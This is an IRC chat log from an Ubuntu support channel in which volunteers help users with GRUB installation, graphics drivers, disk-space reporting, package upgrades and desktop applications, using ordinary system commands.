[05:03] <HugoNascimento> another difficult question: how can I control the boot options at /boot/grub/menu.lst? I change it (eg. adding acpi=off in some kernel boot options) but this is overplaced by a new setup every time a new kernel version is installed by the updating system...
[05:04] <cactusbin> pelo: My problem is described in my thread: http://www.thinkgeek.com/gadgets/tools/8ace/
[05:04] <iamalex> it failed to install the kernel to the target system
[05:04] <Pelo> HugoNascimento,  ask in #grub
[05:04] <cactusbin> Pelo: If you do help, thanks man
[05:04] <Kannaida> I think the biggest hurdle is going into a place where so many people know so much and being willing to get in on the ground floor so to speak, it's intimidating (I don't do good with finding new jobs either ;) )
[05:04] <HugoNascimento> Thanks
[05:04] <fiery_cleric> aubade: lots of useless options ....
[05:04] <Pelo> cactusbin,  how about you give me the short version here
[05:04] <cactusbin> ok
[05:04] <sparr> wtf is up with clamav having an HOURLY cron job that emails me to tell me that my installation is out of date?
[05:04] <cactusbin> wireless won't work
[05:04] <cactusbin> basically
[05:04] <bruenig> I imagine the kde is like windows bit comes from the person who has never used and it says, well there is a menu on the bottom left, a task bar in the bottom middle, and a tray on the bottom right, ipso facto
[05:05] <cactusbin> sees the ap
[05:05] <cactusbin> trys to connect
[05:05] <cactusbin> will not connect at all
[05:05] <cactusbin> like
[05:05] <bruenig> !enter | cactusbin
[05:05] <ubotu> cactusbin: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[05:05] <Jordan_U> cactusbin, What kind of card do you have?
[05:05] <fiery_cleric> sparr: that is a bit excessive :)
[05:05] <Pelo> cactusbin,  stop using yoru enter key as punctuation please
[05:05] <cactusbin> it can't even get dhcp to work
[05:05] <cactusbin> builtin to my ASUS M2N32-SLI Delux motherboard
[05:05] <sparr> fiery_cleric: ya think?
[05:06] <iamalex> cactus; my asus had troubles with onboard ethernet
[05:06] <bruenig> the ubuntu forums are getting to crowded at the top with all of those buttons or banners or whatever they are
[05:06] <frank227a> If I want to add KDE to my system what package would be best?
[05:06] <cactusbin> I have tried many things people suggested and what I tried is in the thread
[05:06] <Jordan_U> frank227a, kubuntu-desktop
[05:06] <bruenig> frank227a, kubuntu-desktop probably
[05:06] <cactusbin> http://ubuntuforums.org/showthread.php?t=412027#
[05:06] <iamalex> ok, this is where I am, select the kernel, should I just select non and see if it works>
[05:06] <bruenig> frank227a, kde-core is good too if you just want kde and not the apps
[05:06] <iamalex> haha none seemed to have worked
[05:06] <Jordan_U> frank227a, If you are using Dapper I would install using Aptitude though
[05:06] <frank227a> Ok.  kubuntu-desktop ... I am interested in the apps.
[05:06] <wastrel> "apps"
[05:07] <frank227a> I have feisty beta on here.
[05:07] <slavik> bcm43xx (4318), shows AP as "Invalid" and when scanning shows "No scan results", also does the bcm43xx driver support wpa2?
[05:07] <Kannaida> quit
[05:07] <Kannaida> gah!
[05:07] <Kannaida> hehe
[05:07] <iamalex> son of a
[05:07] <Jordan_U> frank227a, Good, if you ever want to remove KDE and all the apps again run: sudo apt-get autoremove kubuntu-desktop
[05:07] <iamalex> didn't work
[05:07] <doolph> why i feel ubuntu is slower than windows
[05:08] <iamalex> why the hell won't grub install
[05:08] <cactusbin> http://ubuntuforums.org/showthread.php?t=412027#
[05:08] <Pelo> doolph,  depends on what you are running I guess,  generaly find it faster
[05:08] <Jordan_U> doolph, Do you have the correct graphics drivers>
[05:08] <Jordan_U> ?
[05:08] <fiery_cleric> !windows
[05:08] <ubotu> For help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents
[05:08] <doolph> Jordan_U, i dunno
[05:08] <doolph> maybe not
[05:08] <doolph> probably not
[05:08] <Jordan_U> doolph, What GFX card do you have?
[05:08] <doolph> ATI 7000
[05:09] <fiery_cleric> pelo: jokes ...
[05:09] <Jordan_U> !ati | doolph
[05:09] <ubotu> doolph: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:09] <Pelo> fiery_cleric,  getting annoying
[05:09] <joshjosh> terminal command to see what version of ubuntu I'm running?
[05:09] <fiery_cleric> doolph: i ve found that linux is more consistent ... ie no v long load times unlike windows
[05:10] <iamalex> cat /proc/version_signature should give you enough info to figure it ouy
[05:10] <Tom47> joshjosh: cat /proc/version_signature
[05:10] <Jordan_U> doolph, That may speed things up drastically depending on what card you have ( although some ATi cards run full speed without fglrx )
[05:10] <iamalex> :)
[05:10] <joshjosh> Tom47, thanks
[05:10] <wastrel> lsb_release -a
[05:11] <doolph> so what do you suggest
[05:11] <Hirvinen> Kannaida: You can have both KDE and Gnome at the same time, the other being only a "switch user" away. Try both. Personally, I prefer KDE since it keeps the power where it belongs, with the user, while being user friendly.
[05:11] <Jordan_U> doolph, Follow the instructions that ubotu gave
[05:11] <doolph> k
[05:11] <wastrel> hah
[05:12] <Tom47> joshjosh wastrel's suggestion may well be more along the lines you were seeking
[05:12] <kernel06> when i useradd few users by default they can ssh but how can i limit to only few users
[05:12] <doolph> I think its the video card
[05:12] <wastrel> also cat /etc/issue
[05:13] <doolph> it slips so much
[05:13] <bruenig> also, cat /etc/lsb-release | awk -F= '/CODENAME/ {print $2}'
[05:13] <joshjosh> wastrel, thanks.
[05:13] <joshjosh> Tom47, gtocha
[05:13] <Tom47> more ways to skin a cat than ....
[05:13] <bruenig> my way dominates the rest
[05:14] <iamalex> do i need to set a label on the volumes?
[05:14] <iamalex> could that be my problem?
[05:14] <fiery_cleric> a concatenate ?
[05:14] <wastrel> grep CODE /etc/lsb-release | cut -d'=' -f2
[05:14] <kernel06> how can i limit ssh to only few users....
[05:15] <bruenig> wastrel, psst awk dominates
[05:15] <bruenig> s/t//
[05:15] <Dr_willis> kernel06,  read the sshd docs yet?
[05:15] <bruenig> s/t//2
[05:15] <frank227a> What type of transfer does the update manager use?
[05:15] <iamalex> guys, why isn't my alt. cd installing grub? I've tried 2 installs with it, both have failed to install grub
[05:16] <iamalex> I'm using LVM, is that why? if yes than that's a major bug
[05:16] <bruenig> awk -F= '/CODENAME/ {print $2}' /etc/lsb-release
[05:16] <freez> Shootfast : my chipset is nvidia NF-6100-405 and it seems that there is no support for ubuntu
[05:16] <freez> here is the list for the supported distros http://www.nvidia.co.uk/object/linux_nforce_1.11_uk.html
[05:17] <Shrimpy_> i was wondering if i could have KDE but have it look like gnome (basically with the top and bottom panel)
[05:17] <ardchoille> Shrimpy_: iirc, you can right click on the panel in kde and add extra panels.
[05:18] <freez> do i have to leave ubuntu !!!
[05:18] <wastrel> . /etc/lsb-release ; echo $DISTRIB_CODENAME
[05:18] <Pelo> Shrimpy_,  and you can change the pannel's hight and stuff
[05:18] <bruenig> sourcing, plus echo, awk still wins because it is just one
[05:18] <Shrimpy_> ardchoille: but it kinda looks funky.  i love how KDE has about a million application but i don't like the look / set up of it.
[05:18] <Frogzoo> looking for a tftpd server that works with xinetd anyone?
[05:19] <iamalex> straight kde is much nicer than Kubuntu
[05:19] <Pelo> freez,  wait a few days for feisty, you might not have to
[05:19] <fiery_cleric> grep CODE /etc/lsb-release | sed 's/[^=] *=//'
[05:19] <ardchoille> Shrimpy_: Maby gnome or a window manager would be more to your liking?
[05:19] <iamalex> the kubuntu team make some changes
[05:19] <Shrimpy_> ardchoille: i'm using gnome. but i want all the apps of kde lol
[05:19] <ardchoille> Shrimpy_: Well, you can just run kde apps in gnome, it's no problem.
[05:20] <iamalex> I can't install grub. can anyone here please finish helping me
[05:20] <Pelo> Shrimpy_,  you can run kde apps on gnome,  you just need to add a few lbs,  actualy if you install using synaptic they'll get aded for you
[05:20] <Shrimpy_> ardchoille: really, i guess i heard that there would be problems. or something
[05:20] <bruenig> grep CODENAME /etc/lsb-release | sed 's/^.................//'
[05:20] <fiery_cleric> iamalex: grub-install ?
[05:20] <Shrimpy_> Pelo: another reason i love  ubuntu lol
[05:20] <iamalex> i can't get far enough to run that
[05:20] <ardchoille> Shrimpy_: There are no problems with running kde apps in gnome or gnome apps in kde.
[05:20] <iamalex> I'm on a fresh install from alternate cd
[05:21] <Shrimpy_> ardchoille: well thanks for clearing that infromation up!
[05:21] <Pelo> Shrimpy_,  it would probably work in most distros,  either you do it manualy or it gets done for you
[05:21] <ardchoille> Shrimpy_: You're welcome :)
[05:21] <iamalex> I've tried 3 times and not once has it installed grub
[05:21] <eck> bruenig: bash wins because you don't have to start a new process :-)
[05:21] <fiery_cleric> iamalex: what happens?
[05:21] <Pelo> iamalex,   you could also try asking in #grub
[05:21] <Shrimpy_> Pelo: neato!
[05:21] <bruenig> that sed command wins because it is so dominant
[05:21] <fiery_cleric> but u have some unwanted envars
[05:22] <freez> is there any drivers for nvidia NF-6100-450 chipsetfor kubuntu ?
[05:22] <Pelo> Shrimpy_,  just out of curiosity which kde apps are you considering ?
[05:22] <t35t0r> stay away from NF anything new
[05:22] <quaal> how do i check what wget version i have
[05:22] <t35t0r> wget --version
[05:22] <t35t0r> wget --help
[05:22] <Pelo> freez,  did you try looking up your hardware in the forum ?
[05:22] <bruenig> apt-cache show | grep Version
[05:22] <ardchoille> lsb_release -a | grep Codename
[05:22] <quaal> ah ok
[05:23] <quaal> thanks
[05:23] <Shrimpy_> Pelo: nothing in perticular. i just noticed they had about 10X more then anything else. and wanted to try most of them out
[05:23] <freez> Pelo no where can i do this please ?
[05:24] <Pelo> freez,  www.ubuntuforums.com   just do a search for your card model number
[05:24] <ardchoille> freez: Are you needing hardware compat info?
[05:24] <iamalex> install seems to go ok and then i just get an error
[05:24] <Pelo> Shrimpy_,   if it's gnome apps you want   http://www.gnomefiles.org/
[05:24] <iamalex> the error is in all caps like FAILED TO BOOT FROM FIRST HARD DISK, PLEASE INSERT SYSTEM DISK
[05:25] <iamalex> that's when someone told me I needed to install grub
[05:25] <iamalex> but I can't seem to do that
[05:25] <t35t0r> "obviously you know that Google uses Ubuntu on all of their developer desktops." ..oh really ?
[05:25] <iamalex> they gave me https://help.ubuntu.com/community/GrubHowto
[05:25] <Shrimpy_> Pelo: thanks i'll give it a try. but since gnome and Kde work together i have nothing to fear lol
[05:25] <Pelo> iamalex,   boot up the live cd,  start gparted,  check to make sure you have at least one partition with the boot flag , and make sure it is the right one
[05:25] <eXcAliBuR> You do not appear to have the sources for the 2.6.15-26-server kernel installed.  <--- how to fix this?
[05:25] <fiery_cleric> iamalex: so can u boot to the console at all?
[05:26] <Dr_willis> iamalex,  could be the machine is trying to boot the wrong hd.  if you got more then 1
[05:26] <iamalex> i do have more than 1
[05:26] <iamalex> /boot is set to the first disk
[05:26] <iamalex> as far as sda sdb
[05:26] <freez> ardchoille : that would be very appreciated just to be sure of whats goin on with my system
[05:26] <cactusbin> read thread and help if possible, eh? http://www.komarckart.com/ccg_coc01.html
[05:26] <iamalex> and where the controller is as well
[05:26] <Shrimpy_> Pelo: i was wondering what you favorite media player is?
[05:26] <Pelo> Shrimpy_,  there is a price to pay if you run kde apps on gnome,  the stuff that controls the "look" ( don'T ask me what they are )  gets doubled,  ie you'll be running both gtk and qt wich will use up some more resourses
[05:26] <iamalex> it's on SATA-1 and drive to is on SATA-2
[05:26] <Dr_willis> iamalex,  my pc lets me pick what hd to boot from (its a bios feature)  or ya could try switching the boot order in bios.
[05:27] <eck> eXcAliBuR: do you have the headers package for your kernel?
[05:27] <eXcAliBuR> don't know
[05:27] <eXcAliBuR> i didn't install anything fancy
[05:27] <iamalex> I'll have to wait, i'm reinstalling it all over again hoping grub works
[05:27] <Pelo> Shrimpy_,   I have 5 installed,  they work for different things,   I am not too bothered,  mostly I use totem because that's what usualy opens when I click on a media file
[05:27] <iamalex> but i'll try that i guess
[05:27] <iamalex> *sigh*
[05:27] <iamalex> supergrub site is down as well
[05:27] <fiery_cleric> iamalex:
[05:28] <bruenig> supergrub failed for me
[05:28] <iamalex> yes?
[05:28] <fami> where to get 7.04?
[05:28] <bruenig> !feisty | fami
[05:28] <ubotu> fami: The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[05:28] <fiery_cleric> iamalex: the basic thing is u need to have a properly configured /boot/menu.1st and then run grub-install
[05:28] <eck> eXcAliBuR: the package name is linux-headers something
[05:28] <Shrimpy_> Pelo: ok, i've been using banshie, and i was wondering if there is seomthing like it but with a little more add ons
[05:28] <eck> i think linux-headers-$(uname -r)
[05:28] <iamalex> but how do i configure my menu.lst
[05:28] <teb> so, when feisty comes out, will this be a feisty only support channel or will i be able to get edgy support here too
[05:28] <iamalex> i can't get to a terminal
[05:28] <fami> bruenig: i see, its tomorrow
[05:28] <Flannel> teb: all current releases are supported here
[05:29] <bruenig> iamalex, live cd
[05:29] <freez> the search results are only about graphic issues
[05:29] <Pelo> Shrimpy_,  oh you mean for audio  , I just use  rythmbox,   it's good enough for me
[05:29] <fiery_cleric>  i mean /boot/grub/menu.1st
[05:29] <iamalex> i know
[05:29] <teb> Flannel: cool thanks
[05:29] <Dr_willis> iamalex,  the menu.lst is a text file. if your system isent even booting to the grub menu or prompt. then its not installed on the booting drives mbr.
[05:29] <Shrimpy_> Pelo: ok jusst wondering
[05:29] <Pelo> Shrimpy_,   there are lots of musix player,  check out the audio section in gnomefiles
[05:29] <eXcAliBuR> linux-headers-2.6.15-26-server
[05:29] <eXcAliBuR> thanks eck
[05:29] <iamalex> i know what menu.lst is ;) i'm not a noob ive just never had a problem installing
[05:29] <fiery_cleric> iamalex: well the installed SHOULD do it but ....
[05:29] <Shrimpy_> Pelo: checking that out know :)
[05:30] <Tom47> iamalex you could peruse this as an alternative if you have a live-cd handy ... http://ubuntuforums.org/showthread.php?t=224351
[05:30] <Dr_willis> iamalex,  so you got windows on sda and linux on sdb?
[05:30] <iamalex> this is what I get for trying to learn somethiing new and setting up lvm
[05:30] <iamalex> no
[05:30] <eck> iamalex: but if you don't get a grub error that means you didn't install grub -- the grub install is in stages, and at the very least you should have the stage1 component on the mbr
[05:30] <iamalex> no windows
[05:30] <iamalex> yeah i know
[05:30] <ardchoille> freez: Here's a nice page for hardware compatibility: https://wiki.ubuntu.com/HardwareSupport
[05:30] <iamalex> i have no grub, that's what I said
[05:30] <Dr_willis> lvm? eww.. not used that. :) i do seem to recall that you do NOT want to put /boot on a lvm, not sure if you want / on a lvm or not either..
[05:30] <eck> iamalex: so reinstall it :-)
[05:30] <eck> iamalex: you can use the live cd
[05:30] <iamalex> boot is not on an lvm
[05:30] <iamalex> boot is outside of the lvm
[05:30] <Dr_willis> iamalex,  thats a relief. :)
[05:30] <eck> iamalex: chroot into your old environment and use grub-install
[05:31] <iamalex> i have no old environment
[05:31] <freez> ardchoille : thanks
[05:31] <eck> iamalex: you did an install, right?
[05:31] <bruenig> iamalex, yeah you are going to want to install ubuntu first then
[05:31] <bruenig> generally installing ubuntu is a prerequisite for grub to work
[05:31] <eck> iamalex: if you have _no_ environment grub won't be able to find the stage 1.5 files and you will get a grub error
[05:31] <ardchoille> freez: You're welcome :)
[05:32] <corden> guys any flv player for ubuntu? tnx
[05:32] <Dr_willis> flv = flash?
[05:32] <corden> yup
[05:32] <iamalex> what I mean is there's no where else to boot to, these disks *only* have this installation of ubuntu on them
[05:32] <wastrel> Dr_willis:  yessir
[05:32] <Dr_willis> load it in your browser. :)
[05:32] <bruenig> mplayer will play flv for me, I get errors but then it plays
[05:32] <Pelo> corden,  vlc plays them
[05:32] <fiery_cleric> corden: mplayer will play youtube flv videos
[05:32] <Dr_willis> drag/drop it to the browser. or yea vlc can do it.. i think some others can as well.
[05:32] <corden> ok tnx guys
[05:32] <eck> iamalex: that's fine. you can still boot offthe live cd and chroot into your ubuntu install
[05:33] <corden> look at it at repo :)
[05:33] <bruenig> iamalex, you boot into a live cd, then mount your ubuntu install, chroot into it and then update-grub
[05:33] <iamalex> livecd doesn't work on this machine
[05:33] <iamalex> well, not well. mouse doesn't work and some other stuff
[05:33] <bruenig> iamalex, do you have alternate cd?
[05:33] <iamalex> yes.
[05:33] <iamalex> that's what im installing from
[05:33] <bruenig> iamalex, there is a recovery option in that
[05:33] <eck> iamalex: it doesn't matter what you use -- you don't even need an ubuntu cd -- you just need a cd with a mount command and a chroot command
[05:33] <nn> anyone using a treo 750 as a modem w.  ubuntu?
[05:33] <Pelo> Shrimpy_,   now that I think about it,  I heard good things about songbird   as a music player ,  you might want to check it out
[05:33] <bruenig> iamalex, you can get to a prompt
[05:34] <eck> recover option is a better idea :-)
[05:34] <Shrimpy_> Pelo: ok thanks!
[05:34] <nn> also, is there an ntfs-3g package for dapper?
[05:35] <bruenig> !info ntfs-3g dapper
[05:35] <ubotu> Package ntfs-3g does not exist in dapper
[05:35] <bruenig> nn, no
[05:35] <nn> theres no official package but...
[05:35] <bruenig> nn, there is in edgy
[05:35] <crimsun> !info ntfs-3g dapper-backports
[05:35] <ubotu> Package ntfs-3g does not exist in dapper-backports
[05:36] <Pollywog> how do I disable rivafb?  I thought I just needed to edit the kernel .config file and then run make oldconfig and compile
[05:36] <Pollywog> but that did not work
[05:36] <eck> iamalex: it might be a bit harder with lvm, you may have to manually set up the lvm environment before you can properly mount it, but that shouldn't be too big of a problem
[05:36] <Pollywog> oh wrong channel I am using feisty
[05:36] <Shrimpy_> Pelo: it's been a while but when you open a tar.gz file in the command line you "tar -xf" it then chage the directory the the file then what comes next?
[05:36] <Pelo> Pollywog,  wait a couple of days and you'll be in the right channel
[05:37] <Pelo> Shrimpy_,  http://cutlersoftware.com/ubuntuinstall/
[05:37] <IowaDave> what's the status of the sync problems in Evolution mail? in the forums it looks like they keep closing the bug, but I still experience it in Dapper.
[05:37] <freez> ardchoille : thanks a lot again
[05:38] <wastrel> IowaDave:  palm sync with evolution?
[05:38] <IowaDave> no, sync with the e-mail server at my isp
[05:39] <mojojojo_> how is called program which program for Gnome which runs as a daemon and allows user to run programs at different workspaces, minimized, different sizes... I once had it but unfortunately forget the name
[05:39] <eck> mojojojo_: devilspie?
[05:39] <Pelo> gtk ?
[05:39] <ardchoille> mojojojo_: devilspie ?
[05:39] <nn> unfortunately until i get my treo acting as a modem in linux too, i'm stuck on a very slow connection that prevents me from migrating to edgy
[05:39] <mojojojo_> ardchoille: YES! :) thanks :)
[05:40] <mojojojo_> eck:  right :)
[05:40] <ardchoille> You're welcome :)
[05:40] <Pelo> nn,  get a freind to dl you the alternate cd
[05:40] <nn> Pelo: everyone deployed here is on the same slow ass pipe
[05:40] <Pelo> nn,  my condolenscex
[05:40] <Pelo> s
[05:40] <ardchoille> nn May I pm you?
[05:41] <nn> ardchoille: sure
[05:41] <nn> Pelo: yea, i need to start packeting people off the wireless imho :)
[05:41] <Shrimpy_> Pelo: lol i couldn't get it working because it was pre compiled. :) and i just need to run the file lol
[05:41] <eck> IowaDave: i'm not sure if this is what you are looking for, but in the past I have just used isync to fetch imap mail and then have evolution read maildir or local imap
[05:41] <nn> anyone dl'ing porn and wasting everyone else's bw
[05:42] <Pelo> Shrimpy_,   rule of thumb,  always read the readme and install  files
[05:42] <IowaDave> eck: thanks. haven't tried that. using pop, but might work for that?
[05:42] <eck> IowaDave: I think isync is imap only, but pop should be easy -- you can just use fetchmail or getmail
[05:42] <ardchoille> Shrimpy_: Which app? Have you checked the repos?
[05:42] <nn> what's the proper upgrade path for dapper anyways? It's been very long since i've fooled with dapper just happened to have the cd laying around.. dapper => edgy work ok?
[05:43] <Flannel> !upgrade | nn, yep
[05:43] <ubotu> nn, yep: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[05:43] <Shrimpy_> ardchoille: i was working with Songbird. but what is a repo?
[05:43] <IowaDave> eck: my noobiness still showing that badly? ;) thanks. will try that.
[05:43] <eck> i was using isync because evolution doesn't sync with imap right if you don't always check your email with that evolution account
[05:43] <ardchoille> !info songbird
[05:43] <ubotu> Package songbird does not exist in edgy, edgy-backports, edgy-seveas
[05:43] <IGxMyzt> hiya
[05:43] <IGxMyzt> i have a problem installing
[05:43] <IowaDave> eck: K
[05:43] <IGxMyzt> i've been here before
[05:43] <Pelo> ardchoille,  get it from their site
[05:44] <flugger> !info eggdrop
[05:44] <ubotu> eggdrop: Advanced IRC Robot. In component universe, is extra. Version 1.6.17-3 (edgy), package size 459 kB, installed size 1144 kB
[05:44] <ardchoille> Shrimpy_: nevermind, it isn't in the repos
[05:44] <Shrimpy_> ardchoille: oh the package manager?
[05:44] <ardchoille> !repos | Shrimpy_
[05:44] <ubotu> Shrimpy_: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[05:44] <eck> IowaDave: if you do maildir I think evolution has a bug where you have to manually edit the maildir string with gconf-editor
[05:44] <eck> IowaDave: at least it did in edgy, i'm not sure about dapper
[05:45] <nn> i may end up havign to actually run my ubuntu install under colinux from windows so i can upgrade ;)
[05:45] <IGxMyzt> when i installed through an alternate disc, running linux says that x server failed to start, and to reboot after the graphical interface is working, and it reported that i had no screens
[05:45] <Pelo> Shrimpy_,  did you get it working or are you having difficulties ?
[05:45] <Shrimpy_> Pelo: well it started up but it's not on my applictaions menus
[05:45] <Pelo> Shrimpy_,  you might have add it manualy,   non deb packages do that
[05:46] <Shrimpy_> Pelo: ok let me check
[05:46] <Pollywog> Pelo: no I am in #ubuntu+1 and I think the problem has been solved with the "new" nvidia package
[05:46] <IGxMyzt> anyone know what's wrong?
[05:47] <nn> anyone have an interest in an alarm clock that shocks you if you press the snooze button? :P
[05:47] <lmungewel\> IGxMyzt - you probably have a corupt xorg.conf, you could check /var/log/Xorg.0.log to see specifically what the error is....
[05:47] <MrChips> Ok, what the hell is wrong.  My mounted drive shows 100% usage no matter what I do.  If i delete a file, no freed space, I even did a fsck but still nothing, shows 100% space taken up-
[05:47] <IowaDave> eck: good lead, thanks. i'll look into the maildir bug respecind dapper.
[05:48] <fiery_cleric> MrChips: .... are u running as root?
[05:48] <IGxMyzt> lmung: can't get into linux. and i downloaded the main cd and the alternate, burned twice, no go
[05:48] <preaction> MrChips: are you using df? the inodes may be available for overwrite, even though they're not empty
[05:48] <IGxMyzt> i have an ATI Radeon 9250
[05:48] <IGxMyzt> if that matters
[05:48] <MrChips> preaction: yeah I did a DF but it's showing 100% space taken
[05:48] <mungewell> IGxMyzt : do you have an ATI card... did you install the ATI binary drivers
[05:48] <MrChips> preaction: it shows 0 available
[05:48] <fiery_cleric> MrChips: default fs on linux reservses some space for root
[05:49] <IGxMyzt> mung: how would i do that?
[05:49] <mungewell> IGxMyzt - restricted manager....
[05:49] <preaction> MrChips: read the manpage, df doesn't report space that is technically being used but is available to be overwritten.
[05:49] <MrChips> fiery_cleric: no this is not space being reserved for root, i deleted 500mb of old files but nothing changed
[05:49] <IGxMyzt> mung: in linux-noob terms?
[05:49] <fiery_cleric> MrChips: ok
[05:50] <fiery_cleric> MrChips: what kind of fs is it?
[05:50] <Shrimpy_> Pelo: can't find it. and i searched package manager. and it does not show songbird
[05:50] <MrChips> fiery_cleric: ext3
[05:50] <mungewell> IGxMyzt - OK probably not then. You should be able to get into a text console when the system says 'no screens' by pressing Ctrl+Alt+F2
[05:50] <John2> Anyone know if Feisty will be released at midnight?
[05:50] <Pelo> Shrimpy_,  songbird is not in synaptic , you need to download it form their site
[05:50] <nn> noisy as mofos :(
[05:51] <IGxMyzt> mung: f1 or f2? someone told me f1 to reconfigure xserver but it said command not recognized. which is why i'm here
[05:51] <Shrimpy_> Pelo: ok i though that it would show up there ooops lol
[05:51] <bullgard4> Where to find a description of the program 'gnome-volume-manager' or instructions for use?
[05:51] <mungewell> John2  - I checked the milestones for feisty earlier and it reported 23hours.. I hope so
[05:51] <IowaDave> eck: kudos, friend. you gave me ideas to follow up on. that's the ubuntu way. thanks!
[05:51] <John2> Ah, hehe
[05:51] <John2> That'd be sweet
[05:51] <eck> IowaDave: no problem :-)
[05:51] <ardchoille> bullgard4: man gnome-volume-manager
[05:51] <Pelo> Shrimpy_,  no the only things that are not in the repos that will show in synaptic are deb packages that you have arleady installed
[05:51] <Shrimpy_> Pelo: for some reason i though synaptic showed all installed files
[05:51] <nn> anyone else got a treo 750? :)
[05:52] <mungewell> IGxMyzt - it is traditional to have text consoles on ctrl+alt_+(F1 through F6).
[05:52] <IGxMyzt> mung: thanks. What do i do after i open it?
[05:52] <Pelo> Shrimpy_,  that would just be too awesome
[05:52] <fiery_cleric> MrChips: have u tried dumpe2fs -h ?
[05:52] <MrChips> anybody: is this a problem with the FS?  I ran fsck but it gave no real errors just ran a standard check and said to update
[05:52] <Shrimpy_> Pelo: lol is there an applicaton or program like that?
[05:52] <Mesobe> hello, how do i install my graphics card in ubuntu
[05:52] <fiery_cleric> MrChips: look for free blocks
[05:53] <Pelo> Shrimpy_,  not that I know of
[05:53] <preaction> MrChips: have you been listening to me: The Space IS There. DF does NOT actually check to make sure the file in question has been deleted.
[05:53] <blanky> Mesobe: ati or nvidia?
[05:53] <Mesobe> ati
[05:53] <blanky> !ati | Mesobe
[05:53] <ubotu> Mesobe: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:53] <mungewell> I would suggest running the command 'sudo dpkg-reconfigure xserver-xorg' this will step through a series of questions and reconfigure the Xserver.
[05:53] <ardchoille> Shrimpy_: What does songbird do?
[05:53] <preaction> MrChips: for that you need more intensive scans, and the commands for those escape me for the moment
[05:53] <nomasteryoda> ardchoille, it plays music
[05:53] <addams> hi guys
[05:53] <MrChips> it says I have 928465 free inodes and 106548 blocks free
[05:53] <addams> how do I get wine to install a winders program ?
[05:54] <Shrimpy_> Pelo: ok lol, well i'm find out whats wrong later. i'm planing to do a complete reinstall. because i'm learing with linux. and i'm did some stupid pointless things. plus it makes me feel good. getting ubunutn to work smoothly again lol
[05:54] <Pelo> ardchoille,   http://www.songbirdnest.com/
[05:54] <fiery_cleric> MrChips: 100 mb free
[05:54] <ardchoille> Shrimpy_: xmms plays mp3's out of the box.. if that is what you are looking for.
[05:54] <MrChips> fiery_cleric: impossible, i have deleted almost 500mb of files
[05:54] <enix> i need a video editor for editing videos already put together, no cam involved on my end, i havnt been able to google anything up. Any ideas?
[05:54] <IGxMyzt> mung: thanks, ill try it. Do you know of any problems caused by having 2 different master hd's and switching them out, one windows, one ubuntu? my windows hd messed up when i installed ubuntu on the other
[05:54] <Shrimpy_> ardchoille: i basically want a media manager/player
[05:54] <MrChips> fiery_cleric: where did that other 400mb go?
[05:54] <ardchoille> Pelo: Ah, thanks.
[05:54] <frank227a> addams: You could access the file through winefile and have it execute the program.
[05:54] <bullgard4> ardchoille: Do you know what you said? man gnome-volume-manager contains 33 lines of which most is overhead. It has been written on 9 April 2004.
[05:54] <Pelo> Shrimpy_,  that's what's fun about linux,  it is actualy fun
[05:54] <eck> as if firefox/thunderbird didn't take up enough ram as it is
[05:54] <fiery_cleric> MrChips: not sure :)
[05:54] <eck> then you throw songbird into the mix!
[05:55] <alien__> can someone help me out figure out why my upgrade wont work from terminal : The following packages have been kept back: linux-image-server
[05:55] <mungewell> IGxMyzt don't know.... i
[05:55] <preaction> fiery_cleric, MrChips: last time: df does not do a scan to check for deleted files / inodes. df only checks for free inodes, not ones that the filesystem is allowed to overwrite...
[05:55] <ardchoille> bullgard4: Ack! Disregard then. I thought it would help :(
[05:55] <alien__> thats whati get when i do sudo apt-get upgrade
[05:55] <Shrimpy_> Pelo: yeah with windows you just get mad. and walk away after you have already hit the computer with a bat lol
[05:55] <preaction> MrChips: df is inaccurate, use something else.
[05:55] <MrChips> preaction: like?
[05:55] <bullgard4> ardchoille: Thank you that you have paid attention to my question.
[05:55] <ardchoille> You're welcome :)
[05:55] <fiery_cleric> we were using dumpe2fs
[05:55] <IGxMyzt> Does anyone know if 2 master hd's switching out: ubuntu/win xp would cause a problem???
[05:55] <preaction> MrChips: so you CAN listen to me
[05:55] <alien__> can anyone help!
[05:56] <eck> IGxMyzt: the master/slave distinction doesn't matter at all
[05:56] <ardchoille> alien__: sudo apt-get dist-upgrade  ?
[05:56] <MrChips> sorry I've always used DF, it's never had problems in the past, logically something has happened to my system if it's failing this badly
[05:56] <Shrimpy_> Pelo: i am going to finally go to bed now, have to wake up early lol. but thanks for being awesome! thats what i love about linux. you share and its a comuinty
[05:57] <alien__> ardchoille: the problem is not command.. its just that they ard held back.. this box is at my work i set it up... but
[05:57] <mneptok> preaction: i've never heard of "so you CAN listen to me" as a df substitute
[05:57] <eck> IGxMyzt: it might affect the order that the drives are seen by the kernel (and hence their device names), but that isit
[05:57] <Pelo> Shrimpy_,  that is pretty much my experience ,I never realy liked windows,  but   I just wanted to try out linux in case I was asked for a job ,  installed ubuntu and never looked back
[05:57] <Pelo> Shrimpy_,  g'night
[05:57] <Shrimpy_> ardchoille: thank you to buddy!!! have a great night
[05:57] <alien__> i saw it in the GUI for upgrade... and i tried to do it but then i cancled it i wanted to do it fro the terminal at home
[05:57] <Shrimpy_> Pelo: Good night!
[05:57] <ardchoille> alien__: Some linux-image-* things WILL be held back until you do a dist-upgrade
[05:57] <Shrimpy_> ...Goodnight all!
[05:57] <alien__> so now when i do sudo apt-get upgrade .. it starts to but wont do it
[05:57] <alien__> ok ill do dist
[05:57] <nn> I:  If#= 0 Alt= 0 #EPs= 3 Cls=02(comm.) Sub=ff Prot=ff Driver=usbserial_generic - w00t
[05:57] <ardchoille> Shrimpy_: g'nite
[05:57] <Jordan_U> alien__, Wait!
[05:57] <Shrimpy_> ardchoille: g'night
[05:58] <Jordan_U> alien__, Are you upgrading to a newer version of Ubuntu?
[05:59] <Jordan_U> alien__, Because if you are you should know that changing the sources.list and dist-upgrading is NOT the way to do it and could leave you with a broken system
